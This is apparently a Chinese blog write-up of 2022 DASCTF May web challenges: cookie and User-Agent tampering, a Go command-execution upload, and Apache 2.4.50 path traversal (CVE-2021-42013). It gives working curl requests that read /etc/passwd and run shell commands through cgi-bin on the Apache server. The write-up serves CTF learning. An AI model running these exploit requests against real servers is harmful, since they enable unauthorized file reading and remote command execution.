当前位置:网站首页>2022DASCTF MAY
2022DASCTF MAY
2022-07-23 18:40:00 【偶尔躲躲乌云334】
大佬们都在努力,我个小白也不能落下加油!!!
Power Cookie

打开界面,额用游客的方式登录,点一下
啥都没有,一般这样的题都是抓包改一下,cookie的值或者x-forwarded-for等

提示admin那就是cookie

试了一下,发现cookie admin=1就可以了
魔法浏览器

没啥思路,还是看一下源码扒

hex编码,解码一下,
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Magic/100.0.4896.75
log
然后改一下文件User-Agent

就可以获得flag
getme
打开页面<!-- pwd:/usr/local/apache2/ -->,就这一个目录信息
一个字,蒙!
然后burp扫一下,发现
搜索一下Apache/2.4.50 (Unix),
Apache HTTP Server 2.4.50 中的路径遍历和文件泄露漏洞 (CVE-2021-42013)
漏洞利用poc:
curl -v --path-as-is 目标地址:端口/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
可以查看任意文件
说明存在漏洞
目标服务器开启cgi或者cgid时候,可以命令执行
curl -v --data "echo;命令" '目标地址:端口/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
或者
GET :
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
POST:
echo Content-Type: text/plain; echo;ls /不知道什么原因,
不返回值,可是看其他wp就是这样,然后就出来目录,接着探索,可能是我burp出错了,调试一下。
hackme

打开界面发现最下面可以点击,那点击进去
发现可能每一个链接中有一个文件,而每一个对应的文件中执行了一条命令。像上面的whoami、pwd等等。

看到这然后,go语言目前还没学到,先简单了解一下,Go语言中用 os/exec 执行命令的五种姿势 - 知乎需要上传个uers文件,然后他就会进行go的解析
package main
import (
"fmt"
"os/exec"
)
func main() {
Command("ls /") 执行的命令
}
func Command(cmd string) error {
c := exec.Command("bash", "-c", cmd)
output, err := c.CombinedOutput()
fmt.Println(string(output))
return err
}

最后发现flag,用cat /flag 代替上面语句中的ls /即可查找到flag。所以这个题看似其实不完全考到go即使不是很懂go语言,考的是go脚本。
后面俩道题,实现是能力,不够,继续学习
边栏推荐
- PostgreSQL sequence cache 参数导致的数值序列不连续 有间隔 gap
- Lecture 9 of project practice -- operation import and export tool
- 【面试:并发篇22多线程:ReentrantLock】
- R language uses the gather function of tidyr package to convert a wide table to a long table (wide table to long table), the first parameter specifies the name of the new data column generated from th
- Three implementation schemes of MySQL read-write separation
- 重装系统后故障(报错:reboot and select proper boot deviceor insert boot media in selected boot device)
- 项目实战第九讲--运营导入导出工具
- Edge cloud | 1. overview
- [hero planet July training leetcode problem solving daily] 23rd dictionary tree
- 从200W超级闪充看iQOO 10 Pro的 “共情”能量
猜你喜欢

Powercli moves virtual machines from host01 host to host02 host

重装系统后故障(报错:reboot and select proper boot deviceor insert boot media in selected boot device)

C language leak detection and filling (1)

web安全入门-ssh测试与防御

2022上半年中国十大收缩行业

AtCoder B - Pizza

Attack and defense world web question Fakebook

Redux求和案例详解版教程

Principe de l'énergie et méthode variationnelle note 19: principe de l'énergie résiduelle minimale + principe du travail possible

Energy principle and variational method note 16: solution of virtual displacement principle
随机推荐
Introduction to web security SSH testing and defense
absl教程(四):Strings Library
20. Valid Parentheses有效的括号
Cannot read properties of null (reading ‘pickAlgorithm‘)
项目实战第九讲--运营导入导出工具
2022/7/21 training summary
Educational codeforces round 132 (rated for Div. 2) [competition record]
idea 选中代码生成方法
重装系统后故障(报错:reboot and select proper boot deviceor insert boot media in selected boot device)
能量原理与变分法笔记15:微元法的求解
千呼万唤,5G双卡双通到底有多重要?
[激光器原理与应用-8]: 激光器电路的电磁兼容性EMC设计
Robot decision-making system based on self-learning (daki technology, Zhao kaiyong)
【面试:并发篇22多线程:ReentrantLock】
Safely stop NodeOS
FormatDateTime的用法
Leetcode 216. 组合总和 III
为啥一问 JVM 就 懵B ?
2022第四届中国国际养老服务业展览会,9月26日在济南举办
osgearth使用sundog公司的triton海洋和silverlining云彩效果